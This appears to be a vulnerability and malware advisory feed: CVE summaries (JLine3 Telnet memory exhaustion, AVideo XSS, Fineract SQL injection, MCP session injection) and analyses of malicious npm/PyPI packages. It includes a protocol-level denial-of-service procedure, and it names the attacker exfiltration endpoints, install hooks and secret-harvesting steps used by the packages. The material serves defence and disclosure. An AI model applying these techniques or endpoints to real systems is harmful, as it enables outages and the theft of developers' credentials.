Search: client-user-id.com
599 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.5 | EPSS 0.6% | CVE-2026-56740jline jline3 · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-56740 ### Summary The JLine3 Telnet server (`remote-telnet` module) does not limit the number of environment variables a client may inject via the Telnet NEW-ENVIRON option. An unauthenticated attacker can flood the server with a large number of unique variable pairs before sending the terminating IAC SE byte, exhausting JVM heap memory and causing an OutOfMemoryError (denial of service). Approximately 3–4 MB of network traffic is sufficient to consume a 512 MB JVM heap. ### Details `TelnetIO.readNEVariables()` (TelnetIO.java:1127-1180) processes incoming NEW-ENVIRON variable pairs in a loop and stores each pair in a `HashMap` held by `ConnectionData`: ```java // TelnetIO.java:1139-1178 boolean cont = true; if (i == NE_VAR || i == NE_USERVAR) { do { switch (readNEVariableName(sbuf)) { case NE_VAR_OK: TelnetIO.this.connectionData.getEnvironment().put(str, sbuf.toString()); // ← no per-connection count limit break; case NE_VAR_UNDEFINED: break; // cont remains true, loop continues } } while (cont); // cont is never set to false; only exits via return } ``` The variable accumulator map is a plain `HashMap` initialized with capacity 20 and **no maximum size**: ```java // ConnectionData.java:98 environment = new HashMap<String, String>(20); ``` Per-variable limits exist (name: max 50 chars, value: max 1000 chars), but there is no cap on the *count* of variables. Each map entry occupies approximately 2 KB of heap (String headers + `Map.Entry` + backing char arrays). On a JVM with a 512 MB heap, approximately 250,000 unique entries trigger an `OutOfMemoryError`. Network cost: using sequential 1-byte names (e.g., `\x01`, `\x02`, ...) and 1-byte values, each variable pair requires roughly 13 protocol bytes. Sending 250,000 pairs requires only ~3.25 MB of network traffic — feasible in seconds over any reasonable network connection. No authentication is required. NEW-ENVIRON negotiation occurs before login. Affected source files: - `remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java` lines 1127-1180 - `remote-telnet/src/main/java/org/jline/builtins/telnet/ConnectionData.java` line 98 ### PoC Connect to the JLine3 Telnet server and, after completing WILL/DO option negotiation, send a NEW-ENVIRON SEND subneg followed by a single large IS subneg containing thousands of unique variable pairs before the final IAC SE. Protocol structure (no authentication required): 1. Standard Telnet option negotiation (IAC DO NEW-ENVIRON, IAC WILL NEW-ENVIRON) 2. Server sends IAC SB NEW-ENVIRON SEND IAC SE 3. Client responds with: IAC SB NEW-ENVIRON IS [NE_VAR 0x01 NE_VALUE 0x01] ← variable pair 1 [NE_VAR 0x02 NE_VALUE 0x01] ← variable pair 2 ... repeated N times ... IAC SE ← only sent after N pairs Each iteration adds one entry to the per-connection environment map. The connection thread blocks reading from the socket while accumulating pairs, so the attacker controls the timing of the OOM. Reproduction environment: - JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2 - `remote-telnet` module started with its default configuration - Confirmed by source-code analysis; loop exit condition and missing count guard verified by inspection of `readNEVariables()` and `ConnectionData` constructor ### Impact **Type**: Denial of Service (heap memory exhaustion / OutOfMemoryError) **Who is affected**: Any application embedding the JLine3 `remote-telnet` module and exposing its Telnet server. No credentials are required. A single connection can exhaust the entire JVM heap, crashing the host process or triggering JVM out-of-memory handling that impacts all users sharing that JVM instance. ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The dwh-kafka-client PyPI package contains malicious code designed to download and execute remote executables using multiple fallback methods, including Cloudflare Workers and DNS TXT record retrieval. It establishes persistence by abusing Python .pth files to run on every Python start. The package also exfiltrates basic system data such as IP address and username. Version 0.0.1 contains disarmed code, with malicious functionality completed in later updates. The package overrides the install command to execute malicious code during installation and attempts to cover its tracks by removing downloaded binaries after execution. | GCVE Database | |||
| Medium | 4.3 | EPSS 0.4% | Medium4.3EPSS 0.4%CVE Database V5CVE-2026-16103 A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 0.5% | CVE-2026-53412Zoom Workplace for Windows · Improper Input Validation Critical9.8EPSS 0.5%CVE Database V5CVE-2026-53412 CVE-2026-53412 is a critical vulnerability in Zoom Workplace for Windows and related Zoom clients that involves improper input validation. This flaw may allow an unauthenticated attacker with network access to take over user accounts. The vulnerability affects Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom Meeting SDK for Windows. No specific affected versions or patches have been confirmed yet. The vulnerability has a CVSS score of 9.8, indicating a critical severity level. | CVE Database V5 | ||
| Critical | 9.6 | EPSS 0.4% | CVE-2026-54458WWBN AVideo · Cross-site Scripting Critical9.6EPSS 0.4%CVE Database V5CVE-2026-54458 WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.5% | High7.1EPSS 0.5%CVE Database V5CVE-2026-52869 ### Summary In affected versions, the SSE and Streamable HTTP server transports routed incoming requests to an existing session based only on the session identifier, without verifying that the request was authenticated as the same principal that created the session. Anyone who learned or guessed a session ID could send JSON-RPC messages on that session, regardless of which bearer token the request carried. ### Am I affected? Only if a developer's application server uses an HTTP transport (SSE, or Streamable HTTP in stateful mode) **and** authenticates requests. Servers on stdio, stateless Streamable HTTP, or with no authentication configured are not affected. ### Details Both transports look up the target session by its identifier alone — the `session_id` query parameter for SSE (`mcp.server.sse.SseServerTransport`) and the `Mcp-Session-Id` header for Streamable HTTP (`mcp.server.streamable_http_manager.StreamableHTTPSessionManager`). Once the lookup succeeded, the request was handled on that session without comparing its authentication context to the credentials presented when the session was created, so a request authenticated as a different OAuth client could inject messages into the session. On the SSE transport the response is delivered to the original client's event stream; on the Streamable HTTP transport it is returned on the injecting request, so the injecting client can also read the result. The SSE transport has been affected since the first release; the Streamable HTTP transport since version 1.8.0. ### Impact Servers using either HTTP transport together with the SDK's built-in bearer-token authentication are affected: the per-client isolation that authentication provides can be bypassed for any session whose ID is known. Session IDs are randomly generated UUIDs, so exploitation requires obtaining one out of band (logs, network observation). Servers that do not enable bearer-token authentication have no per-client isolation to bypass and are not addressed by this advisory, and stateless Streamable HTTP deployments do not maintain sessions and are unaffected. ### Mitigation Upgrade to version 1.27.2 or later, which records the authenticated principal that created each session — the OAuth client ID together with the token's issuer and subject when the token verifier supplies them — and answers requests presenting a different principal with the same 404 response as for an unknown session. Deployments where many end users share a single OAuth client (hosted MCP clients, gateways) should ensure their token verifier populates `AccessToken.subject` (e.g. from the token's `sub` claim) so sessions are isolated per user rather than per client. Deployments using a custom authentication backend other than the built-in `BearerAuthBackend` should enforce an equivalent check themselves. | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.3% | CVE-2026-40956Absolute Security Secure Access · Information Exposure Low2.1EPSS 0.3%CVE Database V5CVE-2026-40956 CVE-2026-40956 is a low-severity memory disclosure vulnerability in Absolute Security's Secure Access client versions prior to 14.55. It allows attackers with detailed knowledge and full control over the tunnel protocol to cause a small amount of random memory to leak. The vulnerability does not have an official patch or remediation guidance published yet. Exploitation requires high attack complexity and user interaction, and no known exploits are reported in the wild. | CVE Database V5 | ||
| Critical | 9.4 | EPSS 0.5% | Critical9.4EPSS 0.5%GCVE DatabaseCVE-2026-31685 This security update for the SUSE Linux Enterprise Kernel 4.12.14-122.280 addresses multiple vulnerabilities affecting various kernel components including netfilter, ip6_tunnel, ALSA pcm, bonding, and SMB client. The fixes resolve issues such as invalid packet handling, use-after-free conditions, and improper user-space input acceptance. These vulnerabilities were collectively addressed in Live Patch 74 for SUSE Linux Enterprise 12 SP5. | GCVE Database | ||
| High | 8.1 | EPSS 0.7% | CVE-2026-56287Apache Fineract · SQL Injection High8.1EPSS 0.7%CVE Database V5CVE-2026-56287 A boolean-based SQL Injection vulnerability exists in Apache Fineract's Client Search API (GET /api/v1/clients) in versions up to and including 1.14.0. The orderBy and sortOrder request parameters are concatenated into a SQL query without sufficient validation, allowing an authenticated user with permission to view clients to inject arbitrary SQL via a crafted orderBy value. This can be leveraged to perform blind boolean-based data extraction and, on MySQL/MariaDB, to disclose arbitrary files readable by the database process via the LOAD_FILE() function. Users are recommended to upgrade to a version containing the fix | CVE Database V5 | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-12707Cloudflare quiche · Unthrottled Resource Allocation High7.5EPSS 0.4%CVE Database V5CVE-2026-12707 Summary Cloudflare quiche was discovered to be vulnerable to memory resource exhaustion due to unbounded queuing of post-handshake client migration events. Impact quiche supports the connection migration features described in Section 9 of RFC 9000, which allows a single QUIC connection to survive changes in the network path. Although quiche implements the protections described in Section 9.3 of RFC 9000 to limit server state commitment, it was discovered that the collection of PathEvents, intended to be consumed by applications via the path_event_next() function, was not bounded. Once the QUIC handshake completed, a peer could exploit rapid source address migration in order to cause unbounded queuing of the PathEvent::ReusedSourceConnectionId type. Servers are vulnerable even if active connection migration is disabled. Mitigation: * Applications can call path_event_next() to drain the PathEvent collection, mitigating the attack. * Users are requested to upgrade to quiche 0.29.3 which is the earliest version that prevents excessive queueing of PathEvent::ReusedSourceConnectionId. | CVE Database V5 | ||
| Medium | 6.7 | EPSS 0.2% | CVE-2025-40945Siemens COMOS V10.4.5 · Untrusted Search Path Medium6.7EPSS 0.2%CVE Database V5CVE-2025-40945 A vulnerability has been identified in COMOS V10.4.5 (All versions < V10.4.5.0.2), COMOS V10.6 (All versions < V10.6.1), Designcenter NX (All versions < V2512.7000), Simcenter 3D (All versions < V2512.7000), Simcenter Femap V2506 (All versions < V2506.0003), Simcenter Femap V2512 (All versions < V2512.0002), Simcenter Nastran (All versions < V2606), Simcenter STAR-CCM+ (All versions < V2606), Solid Edge SE2025 (All versions < V225.0 Update 13), Solid Edge SE2026 (All versions < V226.0 Update 04), Teamcenter Visualization V2412 (All versions < V2412.0012), Teamcenter Visualization V2506 (All versions < V2506.0009), Teamcenter Visualization V2512 (All versions < V2512.2605), Tecnomatix Plant Simulation V2404 (All versions < V2404.0022), Tecnomatix Plant Simulation V2504 (All versions < V2504.0010), Tecnomatix Process Simulate (All versions < V2606). Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62) @flcik/flick.js@3.1.2 replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `"main": "index.js"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope). ## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 6.3 | EPSS 0.4% | CVE-2026-56877Skillable SCORM Lab Launch Integration · External Control of Assumed-Immutable Web Parameter Medium6.3EPSS 0.4%CVE Database V5CVE-2026-56877 The SCORM lab launch endpoint in Skillable (scorm.skillable.com) through 2026-07-13 does not validate the client-supplied userId parameter against the authenticated SCORM session token. An authenticated user can substitute arbitrary userId values to bypass per-user lab launch rate limits and consume other users' lab allocations, resulting in denial of service against targeted users' lab and exam access. Skillable was formerly named Learn on Demand Systems. | CVE Database V5 | ||
| –Not rated | – | Bleeping Computer A threat actor published a malicious version of the Jscrambler npm package containing infostealer malware. This backdoored package was downloaded nearly 1,500 times before detection. Jscrambler is a client-side web security tool, and the malicious package could compromise users who installed it. There is no explicit information about a patch or remediation in the provided data. The incident was reported by Bleeping Computer. | Bleeping Computer | |||
| Malicious | – | MaliciousGCVE Database The npm package netspeedutil version 1.0.13 contains malicious code that compromises the build pipeline of projects using it. Upon installation, it scans for image files with a special marker, decrypts a hidden payload, and patches the build command of third-party CLIs to inject obfuscated malicious client code. This client establishes a covert WebRTC TURN connection to an attacker-controlled server, enabling remote control and injection of attacker-supplied content into the end users' browsers. The package masquerades as a utility for string matching but is actually a supply-chain malware that weaponizes production artifacts against end users. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The chat-adapter-zoom package was published to the npm registry by user 'click2ai' (maintainer email privatek3m@protonmail.com) as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization (a Zoom chat-adapter integration namespace (Zoom-style naming)) so that a misconfigured resolver installs this public lookalike instead of the intended private dependency. The package declares a preinstall hook ("npm install @sentry/node && node examples/verify.js") that executes automatically at npm install time, before any application code runs. The bundled examples/verify.js initializes the @sentry/node client against a hardcoded, attacker-controlled Sentry DSN with sendDefaultPii enabled, resolves the installing host's public egress IP address by requesting Cloudflare's /cdn-cgi/trace endpoint (using a spoofed desktop-browser User-Agent to bypass bot challenges), then deliberately triggers a runtime exception and captures it. Flushing the event beacons the collected host telemetry (public IP plus Sentry default PII such as hostname, OS username and runtime/environment metadata) to the attacker's Sentry ingest endpoint at o4510485815754752.ingest.us.sentry.io. Each impersonated namespace in the campaign beacons to a distinct Sentry project ID, letting the operator attribute successful installs to specific victim organizations — behaviour consistent with a dependency-confusion reconnaissance beacon rather than legitimate error monitoring. The install-time payload is byte-for-byte identical across all packages published by this account, differing only in the package name and the target DSN. This package's beacon targets Sentry project 4511709729914880. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f6308ea0d3fc30c63044a57022cf4b300f6625c458862499b01b8cb0f2847da4) Package presents itself as a Zoom chat adapter but ships no Zoom or chat functionality; it is a thin wrapper over @sentry/node. The package.json preinstall script runs 'npm install @sentry/node && node examples/verify.js'. examples/verify.js initializes Sentry against a hardcoded DEFAULT_DSN pointing to o4510485815754752.ingest.us.sentry.io/4511709729914880, fetches the installer's public IP from Cloudflare via setUserFromPublicIp(), attaches it as user.ip_address, triggers an error, and calls Sentry.captureException + flush(5000), delivering the installer's public IP and event data to the author's Sentry project on every install with no user action or opt-in. The exported src/index.js init() also falls back to the same hardcoded DEFAULT_DSN with sendDefaultPii forced to true when callers do not supply their own DSN, silently routing consumer error data and PII to the author. The name/functionality mismatch (keywords target 'zoom'/'chat-adapter' while the code is a Sentry relay) indicates the package is designed to attract unrelated installs. ## Source: ghsa-malware (7adceb241867aec530acce3037e7426a58d3fcd2475f2f8389d515e28292cd82) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The salesforce-vscode-slds package was published to the npm registry by user 'click2ai' (maintainer email privatek3m@protonmail.com) as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization (a Salesforce SLDS / Lightning Design System VS Code tooling namespace) so that a misconfigured resolver installs this public lookalike instead of the intended private dependency. The package declares a preinstall hook ("npm install @sentry/node && node examples/verify.js") that executes automatically at npm install time, before any application code runs. The bundled examples/verify.js initializes the @sentry/node client against a hardcoded, attacker-controlled Sentry DSN with sendDefaultPii enabled, resolves the installing host's public egress IP address by requesting Cloudflare's /cdn-cgi/trace endpoint (using a spoofed desktop-browser User-Agent to bypass bot challenges), then deliberately triggers a runtime exception and captures it. Flushing the event beacons the collected host telemetry (public IP plus Sentry default PII such as hostname, OS username and runtime/environment metadata) to the attacker's Sentry ingest endpoint at o4510485815754752.ingest.us.sentry.io. Each impersonated namespace in the campaign beacons to a distinct Sentry project ID, letting the operator attribute successful installs to specific victim organizations — behaviour consistent with a dependency-confusion reconnaissance beacon rather than legitimate error monitoring. The install-time payload is byte-for-byte identical across all packages published by this account, differing only in the package name and the target DSN. This package's beacon targets Sentry project 4511716882972672. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0917b0d6d85d4b6d865e8d7febb4b84fe2ef0d526d18c1d754706f3213b2a485) The package name mimics Salesforce's SLDS/VS Code ecosystem but ships no SLDS functionality; it is a generic Sentry uploader authored by an unrelated party. The `preinstall` script (`npm install @sentry/node && node examples/verify.js`) runs on `npm install`: `examples/verify.js` initializes Sentry with a hardcoded DSN (`https://d4616e08f531447bd415e91fd21940a6@o4510485815754752.ingest.us.sentry.io/4511716882972672`) and `sendDefaultPii: true`, fetches the installer's public IP from Cloudflare's `cdn-cgi/trace`, attaches it as `ip_address` on the Sentry user scope, deliberately throws to generate an event, and flushes to the hardcoded endpoint — so installing the package emits the developer's egress IP and process metadata to a Sentry project the installer does not own. The package `main` (`src/index.js`) also hardcodes the same DSN as `DEFAULT_DSN`, so any consumer calling `init()`/`check`/`wrap`/`reportError` without an explicit `dsn` or `SENTRY_DSN` silently routes their runtime errors and default PII to the same author-controlled project. The typosquat name is the lure for developers expecting a Salesforce package. ## Source: ghsa-malware (230f8120843284b71f5461018cd05a02dc785794393001e3533f8b40eada4a37) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The slds-lsp-client package was published to the npm registry by user 'click2ai' (maintainer email privatek3m@protonmail.com) as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization (a Salesforce SLDS / Lightning Design System language-server (LSP) tooling namespace) so that a misconfigured resolver installs this public lookalike instead of the intended private dependency. The package declares a preinstall hook ("npm install @sentry/node && node examples/verify.js") that executes automatically at npm install time, before any application code runs. The bundled examples/verify.js initializes the @sentry/node client against a hardcoded, attacker-controlled Sentry DSN with sendDefaultPii enabled, resolves the installing host's public egress IP address by requesting Cloudflare's /cdn-cgi/trace endpoint (using a spoofed desktop-browser User-Agent to bypass bot challenges), then deliberately triggers a runtime exception and captures it. Flushing the event beacons the collected host telemetry (public IP plus Sentry default PII such as hostname, OS username and runtime/environment metadata) to the attacker's Sentry ingest endpoint at o4510485815754752.ingest.us.sentry.io. Each impersonated namespace in the campaign beacons to a distinct Sentry project ID, letting the operator attribute successful installs to specific victim organizations — behaviour consistent with a dependency-confusion reconnaissance beacon rather than legitimate error monitoring. The install-time payload is byte-for-byte identical across all packages published by this account, differing only in the package name and the target DSN. This package's beacon targets Sentry project 4511716882972672. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d1a204f1615398c380936de4d1e2603cab90300e0e7bc20770ffd0bbe693ce80) Package name presents as a Salesforce Lightning Design System / Language Server Protocol client, but the shipped code is a thin Sentry wrapper with no SLDS or LSP functionality. package.json declares a preinstall script that runs `npm install @sentry/node && node examples/verify.js`, which resolves the installer's public IP via a Cloudflare trace endpoint, attaches it as the Sentry user identity (sendDefaultPii:true), and triggers a forced exception so the event — carrying the installer's IP and host/error metadata — is uploaded on `npm install` with no consent. The Sentry DSN is hardcoded to an author-controlled project at o4510485815754752.ingest.us.sentry.io/4511716882972672 (DEFAULT_DSN in src/index.js). The exported init() also falls back to the same hardcoded DSN when a caller does not supply one, so consumers of the library additionally route their application error telemetry and default PII to the same author endpoint. The name/description mismatch combined with an install-time beacon fits an opportunistic install-time data-collection package targeting typos or misfires. ## Source: ghsa-malware (2265e2b46fde3cf1883c191549a7bd9e5d2afe8072876c632b60edc4bc9e0cd6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4274de0136aa69f8b0f4eba03412c7809a1b8c2446bb3ed7f6de1333475aa4c4) index.js, the package main, runs a load-time IIFE that collects OS platform and architecture, hostname, username, private and public IP (via https://api.ipify.org), current working directory, the full output of `printenv` (base64-encoded), and the base64-encoded output of `tree../`, then POSTs the aggregated payload to a hardcoded Discord webhook at https://discord.com/api/webhooks/1524917003394089029/. The package name mimics the babel-preset naming convention but the code implements no Babel functionality; author, description, and keywords are empty. Any consumer that installs and requires this package leaks its full process environment (typically including NPM_TOKEN, AWS_*, GITHUB_TOKEN, and other CI/developer secrets) plus a listing of the parent directory to the attacker-controlled Discord channel. ## Source: ghsa-malware (fea0fc558d775f5f0b5312b5d3f5ead65a9b5963916fc1c4193b84fc66f3f7d9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
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